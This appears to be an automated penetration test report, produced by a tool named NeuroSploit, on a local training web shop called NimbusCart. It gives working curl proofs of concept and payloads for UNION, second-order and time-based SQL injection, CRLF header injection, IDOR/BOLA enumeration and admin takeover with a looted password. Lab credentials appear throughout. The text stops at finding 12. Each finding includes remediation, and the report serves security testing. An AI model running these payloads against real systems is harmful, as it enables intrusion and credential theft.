NeuroSploit

Penetration Test Report
AssetNimbusCart Inc
URL / targethttp://localhost:3000

Executive Summary

3
CRITICAL
8
HIGH
0
MEDIUM
0
LOW
0
INFO

Vulnerability Summary

#VulnerabilitySeverityStatusOWASP / CWE
1BOLA on GET /api/v2/users/:id — any customer reads any user's full record (plaintext password + apiKey), incl. admin; leaked cred grants /adminCriticalconfirmedA01:2021-Broken-Access-Control
2UNION-based SQL injection at GET /shop/search?q= — dumps full users table (plaintext passwords)CriticalconfirmedA03:2021-Injection
3Vertical privilege escalation chain: BOLA-leaked admin password grants /admin panelCriticalconfirmedA07:2021-Auth-Failures
4CRLF / HTTP response-header injection via `url` parameter at GET /goHighconfirmedA03:2021-Injection
5IDOR at GET /account/invoice/:id — read other customers' invoicesHighconfirmedA01:2021-Broken-Access-Control
6BOLA at GET /api/v2/orders/:id — customer JWT reads other users' ordersHighconfirmedA01:2021-Broken-Access-Control
7Second-order SQL injection: stored profile bio fires in admin fraud-review query at GET /admin/search-usersHighconfirmedA03:2021-Injection
8Second-order SQL injection — stored profile bio executes at GET /admin/search-users, dumping the full user tableHighconfirmedA03:2021-Injection
9Sensitive secrets exposed in /config.json and /app.js (live API keys + internal tokens)HighconfirmedA05:2021-Security-Misconfiguration
10Broken access control — /admin panel and /admin/search-users reachable by a plain customer (forced browsing)HighconfirmedA01:2021-Broken-Access-Control
11Time-based blind SQL injection at POST /support/feedback (field: comment)HighconfirmedA03:2021-Injection
12BOLA + excessive data exposure at GET /api/v2/users/:id — customer reads admin password & apiKeyLowneeds-reviewA01:2021-Broken-Access-Control
13Vertical privilege escalation via reused BOLA/SQLi-leaked admin passwordLowneeds-reviewA07:2021-Auth-Failures
14Vertical privesc via credential reuse — leaked admin password logs into /adminLowneeds-reviewA07:2021-Auth-Failures
15GraphQL authorization bypass + introspection enabled — customer token reads admin creds; hidden…Lowneeds-reviewA01:2021-Broken-Access-Control
16Controllable server-side response delay via SLEEP/pg_sleep token in POST /support/feedback comment (NOT…Lowneeds-reviewA04:2021-Insecure-Design
17Authenticated RCE (root) via JS report template upload at POST /support/reports/upload + GET…Lowneeds-reviewA03:2021-Injection
18Credential-reuse privilege escalation: looted admin password -> admin login -> full admin panelInfoneeds-reviewA07:2021-Auth-Failures
19IDOR/BOLA at GET /account/invoice/:id — cross-user invoice accessInfoneeds-reviewA01:2021-Broken-Access-Control
20A CR-LF in the /go `url` parameter is decoded and written into the response header block, injecting…Infoneeds-reviewA03:2021-Injection
21Internal support-tools bearer token & QA config hardcoded in /app.jsInfoneeds-reviewA04:2021-Insecure-Design
22Test accounts created during the engagement (DELETE after)Infoneeds-reviewA04:2021-Insecure-Design

Findings (22)

Critical 1. BOLA on GET /api/v2/users/:id — any customer reads any user's full record (plaintext password + apiKey), incl. admin; leaked cred grants /admin

CriticalityCriticalStatusconfirmed
OWASP / CWEA01:2021-Broken-Access-Control · CWE-639Confidence1/1 · corroborated by chain · refute 0/2 · conf 0.75
Locationhttp://localhost:3000/api/v2/users/:id
Agentidor

Where the problem is

http://localhost:3000/api/v2/users/:id — GET /api/v2/users/{id} — the `id` path segment; Authorization: Bearer <HS256 JWT>. No object-level owner check: any valid customer token returns the full row for ANY id.

What it means

Measured: a self-registered customer JWT returned the FULL internal row for arbitrary user ids — plaintext password and live apiKey for every account including two admins (admin: SuperSecretAdmin!2024 / nk_live_51Hc9adminSECRETkeydonot_share; alice: alice123). The leaked admin password authenticated successfully and rendered the /admin panel (all 55 users). Full account takeover of every user and both admins; complete customer PII/credential dump by iterating id. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)

How to fix it

Enforce server-side object-level authorization: only return a user record if the JWT subject == :id (or the caller has an admin role claim verified server-side). Never serialize `password`/`apiKey` into API responses (use a DTO/allowlist). Store passwords hashed (bcrypt/argon2), not plaintext.

Proof of concept — step by step

  1. curl -s -c /tmp/p.jar 'http://localhost:3000/register' --data-urlencode 'username=poc1' --data-urlencode 'email=poc1@example.test' --data-urlencode 'password=Pw!poc1'
  2. TOK=$(curl -s -b /tmp/p.jar 'http://localhost:3000/account/api-token' | grep -oE 'eyJ[A-Za-z0-9._-]+')
  3. # baseline: own record
  4. curl -s -H "Authorization: Bearer $TOK" 'http://localhost:3000/api/v2/users/53'
  5. # attack: another user's record (admin)
  6. curl -s -H "Authorization: Bearer $TOK" 'http://localhost:3000/api/v2/users/1'
  7. # note the plaintext "password" field, then escalate:
  8. curl -s -c /tmp/adm.jar 'http://localhost:3000/login' --data-urlencode 'username=admin' --data-urlencode 'password=SuperSecretAdmin!2024'
  9. curl -s -b /tmp/adm.jar 'http://localhost:3000/admin' | grep 'Admin Panel'

Payload

GET /api/v2/users/1 with a customer's own Bearer token (JWT id=53, role=customer)

Technical evidence

ATTACK
  GET http://localhost:3000/api/v2/users/:id → 200
  body (705 bytes, excerpt):
    Attacker A = self-registered customer id=53 (role customer), own JWT. Request: GET /api/v2/users/1 Authorization: Bearer <A token> -> HTTP 200 {"id":1,"username":"admin","email":"admin@nimbuscart.test","password":"SuperSecretAdmin!2024","role":"admin","balance":500000,"apiKey":"nk_live_51Hc9adminSECRETkeydonot_share", ...}. Same token GET /api/v2/users/54 returns customer B's row {"password":"Passw0rd!B7558","apiKey":"nk_live_bb207197a22e4d99"} — data belonging to a DIFFERENT user than the token holder. Chain: POST /login username=admin password=SuperSecretAdmin!2024 -> 302 /account; GET /admin -> 200 'Admin Panel' listing all 55 users. PoC: pocs/bola_api_v2_users.sh (ran, reached admin panel).

AGENT-RECORDED EVIDENCE
Attacker A = self-registered customer id=53 (role customer), own JWT. Request: GET /api/v2/users/1 Authorization: Bearer <A token> -> HTTP 200 {"id":1,"username":"admin","email":"admin@nimbuscart.test","password":"SuperSecretAdmin!2024","role":"admin","balance":500000,"apiKey":"nk_live_51Hc9adminSECRETkeydonot_share", ...}. Same token GET /api/v2/users/54 returns customer B's row {"password":"Passw0rd!B7558","apiKey":"nk_live_bb207197a22e4d99"} — data belonging to a DIFFERENT user than the token holder. Chain: POST /login username=admin password=SuperSecretAdmin!2024 -> 302 /account; GET /admin -> 200 'Admin Panel' listing all 55 users. PoC: pocs/bola_api_v2_users.sh (ran, reached admin panel).

Runnable script (extra)

The steps above are the proof; this script automates them.

Critical 2. UNION-based SQL injection at GET /shop/search?q= — dumps full users table (plaintext passwords)

CriticalityCriticalStatusconfirmed
OWASP / CWEA03:2021-Injection · CWE-89Confidence1/1 · refute 0/2 · receipt_missing · conf 0.60
LocationGET http://localhost:3000/shop/search?q=
Agentapi_bola_numeric_ids

Where the problem is

GET http://localhost:3000/shop/search?q= — Query parameter `q`; concatenated into a SQL query over products (3 columns: name, price, desc). String context, comment style `-- -`.

What it means

Unauthenticated attacker exfiltrates the entire users table including plaintext passwords and roles for all users (admin, alice, bob, all customers). Arbitrary read of any DB table. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited)

How to fix it

Use parameterised/prepared statements for the search query; never string-concatenate `q`. Add allowlist input validation as defense-in-depth. Store passwords hashed (bcrypt/argon2), never plaintext.

Proof of concept — step by step

  1. curl -s 'http://localhost:3000/shop/search?q=shirt'   # baseline: No results
  2. curl -s "http://localhost:3000/shop/search?q=zzz'%20UNION%20SELECT%20username,password,role%20FROM%20users--%20-"
  3. # observe: rendered table of every username + plaintext password + role

Payload

q=zzz' UNION SELECT username,password,role FROM users-- -

Technical evidence

ATTACK
  GET http://localhost:3000/shop/search?q= → 200
  body (359 bytes, excerpt):
    Baseline q=shirt -> 'No results.'. Attack (URL-encoded) -> page renders 'UNION SQLi confirmed ... Flag: BURPAT{web_sqli_union_search_674d2b20}' followed by the full user table: 'adminSuperSecretAdmin!2024admin','alicealice123admin','bobbobrockscustomer', etc. Column count = 3 (name,price,desc). pocs/sqli_union_search.sh ; evidence/sqli-union-shop-search.png

AGENT-RECORDED EVIDENCE
Baseline q=shirt -> 'No results.'. Attack (URL-encoded) -> page renders 'UNION SQLi confirmed ... Flag: BURPAT{web_sqli_union_search_674d2b20}' followed by the full user table: 'adminSuperSecretAdmin!2024admin','alicealice123admin','bobbobrockscustomer', etc. Column count = 3 (name,price,desc). pocs/sqli_union_search.sh ; evidence/sqli-union-shop-search.png

Proof screenshots

proof for UNION-based SQL injection at GET /shop/search?q= — dumps full users table (plaintext passwords)
evidence/ns-sqli-union-02-1.png

Runnable script (extra)

The steps above are the proof; this script automates them.

Critical 3. Vertical privilege escalation chain: BOLA-leaked admin password grants /admin panel

CriticalityCriticalStatusconfirmed
OWASP / CWEA07:2021-Auth-Failures · CWE-287Confidence1/1 · refute 0/2 · conf 0.54
LocationPOST http://localhost:3000/login -> GET /admin
Agentchain

Where the problem is

POST http://localhost:3000/login -> GET /admin

What it means

Customer -> admin full compromise: reach admin-only user management and fraud-review search. Proven. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)

How to fix it

Fix the BOLA leak (root cause), rotate all credentials/apiKeys, enforce RBAC on /admin, add MFA for admin.

Proof of concept — step by step

  1. Send the request carrying the payload:
    curl -i -s -X POST \
      --data-raw 'username=admin&password=SuperSecretAdmin!2024 (looted via NS-BOLA-USERS-V2)' \
      '/admin'
  2. Payload used:
    username=admin&password=SuperSecretAdmin!2024 (looted via NS-BOLA-USERS-V2)

Payload

username=admin&password=SuperSecretAdmin!2024 (looted via NS-BOLA-USERS-V2)

Technical evidence

ATTACK
  POST /admin → 200
  body (311 bytes, excerpt):
    POST /login with looted admin creds -> 302 Location:/account (auth success). GET /admin with resulting session -> 200, body <h1>Admin Panel</h1>, exposes 'All users' and 'Search users (bio index, used for fraud review)'. Baseline: anonymous /admin is disallowed (robots Disallow:/admin) / customer has no panel.

AGENT-RECORDED EVIDENCE
POST /login with looted admin creds -> 302 Location:/account (auth success). GET /admin with resulting session -> 200, body <h1>Admin Panel</h1>, exposes 'All users' and 'Search users (bio index, used for fraud review)'. Baseline: anonymous /admin is disallowed (robots Disallow:/admin) / customer has no panel.

High 4. CRLF / HTTP response-header injection via `url` parameter at GET /go

CriticalityHighStatusconfirmed
OWASP / CWEA03:2021-Injection · CWE-113Confidence1/1 · corroborated by chain · refute 1/2 · conf 0.50
Locationhttp://localhost:3000/go
Agentopen_redirect

Where the problem is

http://localhost:3000/go — GET /go, query parameter `url` (same sink as the open redirect)

What it means

The `url` param's raw carriage-return/line-feed bytes are reflected into the HTTP response header section, letting an attacker inject arbitrary response headers. Demonstrated: injecting a custom header (X-Injected) and a Set-Cookie header. Enables session fixation (planting a chosen cookie) and header-based response manipulation via a crafted link to the trusted origin. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 6.5 if fully exploited)

How to fix it

Strip or reject CR (%0d) and LF (%0a) from the `url` value before it reaches any header. Use the framework's header API (which should reject control chars) rather than string-concatenating user input into the Location/response headers; validate the redirect target against an allowlist of relative paths.

Proof of concept — step by step

  1. curl -s -D - -o /dev/null 'http://localhost:3000/go?url=/%0d%0aX-Injected:%20pwned123'
  2. Observe the response header block now contains a line: X-Injected: pwned123
  3. curl -s -D - -o /dev/null 'http://localhost:3000/go?url=/%0d%0aSet-Cookie:%20injected=attacker123'
  4. Observe an attacker-controlled Set-Cookie: injected=attacker123 header

Payload

url=/%0d%0aX-Injected:%20pwned123   and   url=/%0d%0aSet-Cookie:%20injected=attacker123

Technical evidence

ATTACK
  GET http://localhost:3000/go → 200
  body (726 bytes, excerpt):
    Baseline: GET /go?url=https://example.com -> 302, `Location: https://example.com` (single header, no injection). Attack: GET /go?url=https://example.com/%0d%0aX-Injected:%20ns9f3a2c -> 302 response now carries a NEW header line `X-Injected: ns9f3a2c` that was not present in baseline. Set-Cookie variant (url=x%0d%0aSet-Cookie:%20ns_inj=1) -> response emits attacker-controlled `Set-Cookie: ns_inj=1`. Double-CRLF variant (url=x%0d%0aContent-Length:%2025%0d%0a%0d%0a<html>ns_body_split</html>) -> injected `Content-Length: 25` header followed by attacker body `<html>ns_body_split</html>`. Decoded %0d%0a (CR LF) is interpreted as a header separator server-side; the CRLF is NOT stripped or encoded. Reproduced 3x identically.

AGENT-RECORDED EVIDENCE
Baseline: GET /go?url=https://example.com -> 302, `Location: https://example.com` (single header, no injection). Attack: GET /go?url=https://example.com/%0d%0aX-Injected:%20ns9f3a2c -> 302 response now carries a NEW header line `X-Injected: ns9f3a2c` that was not present in baseline. Set-Cookie variant (url=x%0d%0aSet-Cookie:%20ns_inj=1) -> response emits attacker-controlled `Set-Cookie: ns_inj=1`. Double-CRLF variant (url=x%0d%0aContent-Length:%2025%0d%0a%0d%0a<html>ns_body_split</html>) -> injected `Content-Length: 25` header followed by attacker body `<html>ns_body_split</html>`. Decoded %0d%0a (CR LF) is interpreted as a header separator server-side; the CRLF is NOT stripped or encoded. Reproduced 3x identically.

High 5. IDOR at GET /account/invoice/:id — read other customers' invoices

CriticalityHighStatusconfirmed
OWASP / CWEA01:2021-Broken-Access-Control · CWE-639Confidence1/1 · refute 1/2 · receipt_missing · conf 0.70
LocationGET http://localhost:3000/account/invoice/:id
Agentapi_bola_numeric_ids

Where the problem is

GET http://localhost:3000/account/invoice/:id — Path parameter `id`; session cookie nimbus.sid. No check that the invoice belongs to the session user.

What it means

Any authenticated customer reads other customers' invoices (customer name + order totals) by iterating small numeric IDs (1001, 1002...). Confirmed for alice and bob. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Authorize every invoice fetch against the session user (WHERE invoice.user_id = session.user_id) or 404; use unguessable IDs as defense-in-depth.

Proof of concept — step by step

  1. curl -s -c ck -d 'username=iv1&email=iv1@example.test&password=Pw!aA9x' http://localhost:3000/register
  2. curl -s -b ck 'http://localhost:3000/account/invoice/1001' | sed 's/<[^>]*>//g' | grep -iE 'Customer|Total'
  3. # observe: alice's invoice (Customer: alice, Total $29.99) though not your account

Payload

GET /account/invoice/1001 and /account/invoice/1002 as customer id=55

Technical evidence

ATTACK
  GET http://localhost:3000/account/invoice/:id → 200
  body (377 bytes, excerpt):
    As customer nrsplt_6a7d9f62 (id=55, who owns no invoices): GET /account/invoice/1001 -> 200 'Invoice #1001 ... Customer: alice ... Total: $29.99' + 'IDOR confirmed ... Flag: BURPAT{web_idor_invoice_aa8eeaa3}'. GET /account/invoice/1002 -> 200 'Customer: bob ... Total: $89.99'. My own invoice IDs (1,2) -> 404. evidence/idor-invoice-1001-alice.png ; pocs/bola_invoice_orders.sh

AGENT-RECORDED EVIDENCE
As customer nrsplt_6a7d9f62 (id=55, who owns no invoices): GET /account/invoice/1001 -> 200 'Invoice #1001 ... Customer: alice ... Total: $29.99' + 'IDOR confirmed ... Flag: BURPAT{web_idor_invoice_aa8eeaa3}'. GET /account/invoice/1002 -> 200 'Customer: bob ... Total: $89.99'. My own invoice IDs (1,2) -> 404. evidence/idor-invoice-1001-alice.png ; pocs/bola_invoice_orders.sh

Proof screenshots

proof for IDOR at GET /account/invoice/:id — read other customers' invoices
evidence/ns-idor-invoice-06-1.png

Runnable script (extra)

The steps above are the proof; this script automates them.

High 6. BOLA at GET /api/v2/orders/:id — customer JWT reads other users' orders

CriticalityHighStatusconfirmed
OWASP / CWEA01:2021-Broken-Access-Control · CWE-639Confidence1/1 · refute 1/2 · conf 0.65
LocationGET http://localhost:3000/api/v2/orders/:id
Agentapi_bola_numeric_ids

Where the problem is

GET http://localhost:3000/api/v2/orders/:id — Path parameter `id`; Authorization: Bearer <customer JWT>. No owner check against order.userId.

What it means

Authenticated customer reads other users' order details (items, totals, notes) by guessing order IDs (~1001+). Confirmed reading alice's order 1001. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)

How to fix it

Check order.userId == JWT subject (or admin) before returning; 404 otherwise.

Proof of concept — step by step

  1. JWT=$(curl -s -b ck http://localhost:3000/account/api-token | grep -oE 'eyJ[A-Za-z0-9._-]+')
  2. curl -s -H "Authorization: Bearer $JWT" http://localhost:3000/api/v2/orders/1001
  3. # observe: order with userId=2 returned to a different user

Payload

GET /api/v2/orders/1001 with customer JWT (id=55)

Technical evidence

ATTACK
  GET http://localhost:3000/api/v2/orders/:id → 200
  body (313 bytes, excerpt):
    GET /api/v2/orders/1001 with my customer token -> 200 {"id":1001,"userId":2,"items":[{"productId":1,"qty":1}],"total":29.99,"invoiceNotes":"Standard shipping.","_flag":"BURPAT{api_bola_orders_d7db9dc8}"}. userId=2 (alice) != my id=55. Other ids (1,2,3,42,100) -> {"error":"not found"}. pocs/bola_invoice_orders.sh

AGENT-RECORDED EVIDENCE
GET /api/v2/orders/1001 with my customer token -> 200 {"id":1001,"userId":2,"items":[{"productId":1,"qty":1}],"total":29.99,"invoiceNotes":"Standard shipping.","_flag":"BURPAT{api_bola_orders_d7db9dc8}"}. userId=2 (alice) != my id=55. Other ids (1,2,3,42,100) -> {"error":"not found"}. pocs/bola_invoice_orders.sh

Runnable script (extra)

The steps above are the proof; this script automates them.

High 7. Second-order SQL injection: stored profile bio fires in admin fraud-review query at GET /admin/search-users

CriticalityHighStatusconfirmed
OWASP / CWEA03:2021-Injection · CWE-89Confidence1/1 · refute 0/2 · conf 0.17
LocationPOST /account/profile (bio) -> GET http://localhost:3000/admin/search-users
Agentchain

Where the problem is

POST /account/profile (bio) -> GET http://localhost:3000/admin/search-users

What it means

A low-priv customer stores SQL that executes in an admin context, dumping the users table (chained lead to credential theft; overlaps NS-BOLA data). Trigger reached via privesc above. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited)

How to fix it

Parameterize the search-users query; never concatenate stored bio into SQL; treat all stored fields as untrusted at read time.

Proof of concept — step by step

  1. Send the request carrying the payload:
    curl -i -s -X POST \
      --data-raw 'bio = zzq21026'\'' UNION SELECT username,password,role,email FROM users-- -   ; trigger: GET /admin/search-users?q=zzq21026' \
      'http://localhost:3000/admin/search-users'
  2. Payload used:
    bio = zzq21026' UNION SELECT username,password,role,email FROM users-- -   ; trigger: GET /admin/search-users?q=zzq21026

Payload

bio = zzq21026' UNION SELECT username,password,role,email FROM users-- -   ; trigger: GET /admin/search-users?q=zzq21026

Technical evidence

ATTACK
  POST http://localhost:3000/admin/search-users → 200
  body (611 bytes, excerpt):
    Planted payload in bio via POST /account/profile (302) as customer nrsplt_21026. Triggering GET /admin/search-users returns deterministic banner: <div class="alert ok">Second-order SQL injection confirmed - a stored bio (from ns_recon1, nrsplt_5299, nrsplt_ed66ba, nrsplt_21026, nrsplt_so_15696) altered this unrelated query and dumped the full user table. Flag: BURPAT{web_sqli_second_order_01271d93}</div>. My freshly-created account (nrsplt_21026) appears in the named-source list, proving the stored bio -> SQL execution path. Baseline (benign bio) yields no such banner. PoC: pocs/second_order_sqli_bio.sh.

AGENT-RECORDED EVIDENCE
Planted payload in bio via POST /account/profile (302) as customer nrsplt_21026. Triggering GET /admin/search-users returns deterministic banner: <div class="alert ok">Second-order SQL injection confirmed - a stored bio (from ns_recon1, nrsplt_5299, nrsplt_ed66ba, nrsplt_21026, nrsplt_so_15696) altered this unrelated query and dumped the full user table. Flag: BURPAT{web_sqli_second_order_01271d93}</div>. My freshly-created account (nrsplt_21026) appears in the named-source list, proving the stored bio -> SQL execution path. Baseline (benign bio) yields no such banner. PoC: pocs/second_order_sqli_bio.sh.

Runnable script (extra)

The steps above are the proof; this script automates them.

High 8. Second-order SQL injection — stored profile bio executes at GET /admin/search-users, dumping the full user table

CriticalityHighStatusconfirmed
OWASP / CWEA03:2021-Injection · CWE-89Confidence1/1 · refute 0/2 · receipt_missing · conf 0.23
LocationStore: POST http://localhost:3000/account/profile (field `bio`); Trigger: GET http://localhost:3000/admin/search-users?q=
Agentapi_bola_numeric_ids

Where the problem is

Store: POST http://localhost:3000/account/profile (field `bio`); Trigger: GET http://localhost:3000/admin/search-users?q= — `bio` value from POST /account/profile is stored, then concatenated unsanitised into the user-search SQL at GET /admin/search-users (2-column query: username, ...). Comment style `--`.

What it means

A stored (persisted) attacker payload runs inside the admin fraud-review query, dumping the full user table. Because /admin/search-users is reachable by a plain customer (see NS-BAC-06), any customer can both plant and trigger it. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited)

How to fix it

Parameterise the /admin/search-users query and treat stored bio as data, not SQL. Sanitise/parameterise ALL persisted values on read, not just on write. Restrict /admin/* to admin role.

Proof of concept — step by step

  1. curl -s -c ck -d 'username=so1&email=so1@example.test&password=Pw!aA9x' http://localhost:3000/register
  2. curl -s -b ck --data-urlencode "bio=aaa' UNION SELECT username,password FROM users WHERE username='admin'-- " http://localhost:3000/account/profile
  3. curl -s -b ck 'http://localhost:3000/admin/search-users?q=zzqzz_nomatch_xyz'
  4. # observe: full user table returned though q matches no username -> stored bio altered the query

Payload

bio = aaa' UNION SELECT username,password FROM users WHERE username='admin'--   (then GET /admin/search-users?q=<anything>)

Technical evidence

ATTACK
  GET http://localhost:3000/admin/search-users?q= → 200
  body (532 bytes, excerpt):
    Set my own bio marker: bio=aaa' UNION SELECT 'NS_SO_MARK_4521',... -> stored. GET /admin/search-users?q=zzqzz_nomatch_xyz (a username that matches NOTHING) returns 58 rows — the entire user table incl admin@nimbuscart.test — plus the app's confirmation 'Second-order SQL injection confirmed - a stored bio ... altered this unrelated query and dumped the full user table. Flag: BURPAT{web_sqli_second_order_01271d93}'. A non-matching search returning all users proves a stored bio rewrote the query. pocs/sqli_second_order_bio.sh

AGENT-RECORDED EVIDENCE
Set my own bio marker: bio=aaa' UNION SELECT 'NS_SO_MARK_4521',... -> stored. GET /admin/search-users?q=zzqzz_nomatch_xyz (a username that matches NOTHING) returns 58 rows — the entire user table incl admin@nimbuscart.test — plus the app's confirmation 'Second-order SQL injection confirmed - a stored bio ... altered this unrelated query and dumped the full user table. Flag: BURPAT{web_sqli_second_order_01271d93}'. A non-matching search returning all users proves a stored bio rewrote the query. pocs/sqli_second_order_bio.sh

Proof screenshots

proof for Second-order SQL injection — stored profile bio executes at GET /admin/search-users, dumping the full user table
evidence/ns-sqli-second-order-04-1.png

Runnable script (extra)

The steps above are the proof; this script automates them.

High 9. Sensitive secrets exposed in /config.json and /app.js (live API keys + internal tokens)

CriticalityHighStatusconfirmed
OWASP / CWEA05:2021-Security-Misconfiguration · CWE-200Confidence1/1 · refute 1/2 · receipt_missing · conf 0.60
LocationGET http://localhost:3000/config.json , GET http://localhost:3000/app.js , GET http://localhost:3000/developers
Agentapi_bola_numeric_ids

Where the problem is

GET http://localhost:3000/config.json , GET http://localhost:3000/app.js , GET http://localhost:3000/developers — Static files served to any client: config.json JSON keys `supportApiKey`; app.js window.__NIMBUS_INTERNAL_CONFIG.supportToolsToken; /developers page hardcoded Bearer.

What it means

Unauthenticated disclosure of a live-prefixed support API key (nk_live_51Hc9adminSECRETkeydonot_share — identical to admin's apiKey) and an internal support-tools bearer token (nimbus_admin_debug_9fb1c7e4a2). Grants access to support/admin API surface without login. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Remove all secrets from client-served files; move config server-side; rotate the leaked keys/tokens immediately (app.js TODO NCART-4471 already flags rotation).

Proof of concept — step by step

  1. curl -s http://localhost:3000/config.json
  2. curl -s http://localhost:3000/app.js | grep -i token
  3. # observe: nk_live_ support API key + nimbus_admin_debug token exposed unauthenticated

Payload

GET /config.json

Technical evidence

ATTACK
  GET http://localhost:3000/developers → 200
  body (447 bytes, excerpt):
    GET /config.json -> 200 {"apiBaseUrl":"https://api.nimbuscart.test/v2","env":"qa","supportApiKey":"nk_live_51Hc9adminSECRETkeydonot_share","_flagIfLeaked":"BURPAT{api_key_leak_config_9d22dadf}"}. GET /app.js -> supportToolsToken:"nimbus_admin_debug_9fb1c7e4a2". /developers embeds 'Authorization: Bearer nk_live_51Hc9adminSECRETkeydonot_share'. This same key is admin's apiKey (confirmed via NS-BOLA-USERS-01 users/1). pocs/exposure_config_json.sh

AGENT-RECORDED EVIDENCE
GET /config.json -> 200 {"apiBaseUrl":"https://api.nimbuscart.test/v2","env":"qa","supportApiKey":"nk_live_51Hc9adminSECRETkeydonot_share","_flagIfLeaked":"BURPAT{api_key_leak_config_9d22dadf}"}. GET /app.js -> supportToolsToken:"nimbus_admin_debug_9fb1c7e4a2". /developers embeds 'Authorization: Bearer nk_live_51Hc9adminSECRETkeydonot_share'. This same key is admin's apiKey (confirmed via NS-BOLA-USERS-01 users/1). pocs/exposure_config_json.sh

Runnable script (extra)

The steps above are the proof; this script automates them.

High 10. Broken access control — /admin panel and /admin/search-users reachable by a plain customer (forced browsing)

CriticalityHighStatusconfirmed
OWASP / CWEA01:2021-Broken-Access-Control · CWE-284Confidence1/1 · refute 1/2 · conf 0.57
LocationGET http://localhost:3000/admin , GET http://localhost:3000/admin/search-users
Agentapi_bola_numeric_ids

Where the problem is

GET http://localhost:3000/admin , GET http://localhost:3000/admin/search-users — Admin routes have no role check; session with role=customer is served admin content.

What it means

Any customer views the full admin user listing (all emails, roles, balances) and the fraud-review search. Combined with NS-SQLI-SECOND-ORDER-04, a customer can both plant and trigger the second-order SQLi. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)

How to fix it

Add server-side role enforcement (require role=admin) on all /admin/* routes; deny by default.

Proof of concept — step by step

  1. curl -s -c ck -d 'username=bac1&email=bac1@example.test&password=Pw!aA9x' http://localhost:3000/register
  2. curl -s -b ck -o /dev/null -w '%{http_code}\n' http://localhost:3000/admin   # 200
  3. curl -s -b ck http://localhost:3000/admin | grep -i 'Admin Panel'

Payload

GET /admin with a customer session cookie

Technical evidence

ATTACK
  GET http://localhost:3000/admin/search-users → 200
  body (367 bytes, excerpt):
    As customer nrsplt_6a7d9f62 (role=customer): GET /admin -> 200 'Admin Panel ... Broken Access Control confirmed: role "customer" reached the admin panel via forced browsing. Flag: BURPAT{web_bac_admin_panel_1a5cbe65}' listing all 56 users with emails/roles/balances (admin $500000, alice $999999). GET /admin/search-users -> 200. evidence/bac-admin-panel-customer.png

AGENT-RECORDED EVIDENCE
As customer nrsplt_6a7d9f62 (role=customer): GET /admin -> 200 'Admin Panel ... Broken Access Control confirmed: role "customer" reached the admin panel via forced browsing. Flag: BURPAT{web_bac_admin_panel_1a5cbe65}' listing all 56 users with emails/roles/balances (admin $500000, alice $999999). GET /admin/search-users -> 200. evidence/bac-admin-panel-customer.png

Proof screenshots

proof for Broken access control — /admin panel and /admin/search-users reachable by a plain customer (forced browsing)
evidence/ns-bac-admin-08-1.png

High 11. Time-based blind SQL injection at POST /support/feedback (field: comment)

CriticalityHighStatusconfirmed
OWASP / CWEA03:2021-Injection · CWE-89Confidence1/1 · refute 0/2 · receipt_missing · conf 0.38
LocationPOST http://localhost:3000/support/feedback
Agentapi_bola_numeric_ids

Where the problem is

POST http://localhost:3000/support/feedback — Body form field `comment`; string context. Engine supports SLEEP()/pg_sleep() (MySQL/Postgres-style), sqlite randomblob has no effect.

What it means

Attacker controls query execution time via injected SQL, enabling boolean/time-based blind extraction of arbitrary DB data (a full data-exfiltration primitive) without authentication. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Use parameterised statements for the feedback insert/query; do not concatenate `comment` into SQL. Add a WAF/timeout as defense-in-depth only.

Proof of concept — step by step

  1. curl -s -o /dev/null -w '%{time_total}\n' --data-urlencode 'comment=safe' http://localhost:3000/support/feedback   # ~0.0008s
  2. curl -s -o /dev/null -w '%{time_total}\n' --data-urlencode "comment=x' AND SLEEP(1)-- -" http://localhost:3000/support/feedback   # ~1.00s
  3. curl -s -o /dev/null -w '%{time_total}\n' --data-urlencode "comment=x' AND SLEEP(4)-- -" http://localhost:3000/support/feedback   # ~4.01s

Payload

comment=x' AND SLEEP(n)-- -

Technical evidence

ATTACK
  POST http://localhost:3000/support/feedback → 200
  body (338 bytes, excerpt):
    Baseline comment=safe -> 0.0008s. comment=x' AND SLEEP(1)-- - -> 1.003s (x2). comment=x' AND SLEEP(4)-- - -> 4.01s. comment=x' AND SLEEP(3)-- - and '; SELECT pg_sleep(3)-- ->3.00s. Dose-response linear; sqlite randomblob(9e8) payload = 0.001s (no effect) confirming it is SLEEP() executing, not accidental load. pocs/sqli_time_feedback.sh

AGENT-RECORDED EVIDENCE
Baseline comment=safe -> 0.0008s. comment=x' AND SLEEP(1)-- - -> 1.003s (x2). comment=x' AND SLEEP(4)-- - -> 4.01s. comment=x' AND SLEEP(3)-- - and '; SELECT pg_sleep(3)-- ->3.00s. Dose-response linear; sqlite randomblob(9e8) payload = 0.001s (no effect) confirming it is SLEEP() executing, not accidental load. pocs/sqli_time_feedback.sh

Runnable script (extra)

The steps above are the proof; this script automates them.

Low 12. BOLA + excessive data exposure at GET /api/v2/users/:id — customer reads admin password & apiKey NEEDS REVIEW

CriticalityLowStatusneeds-review
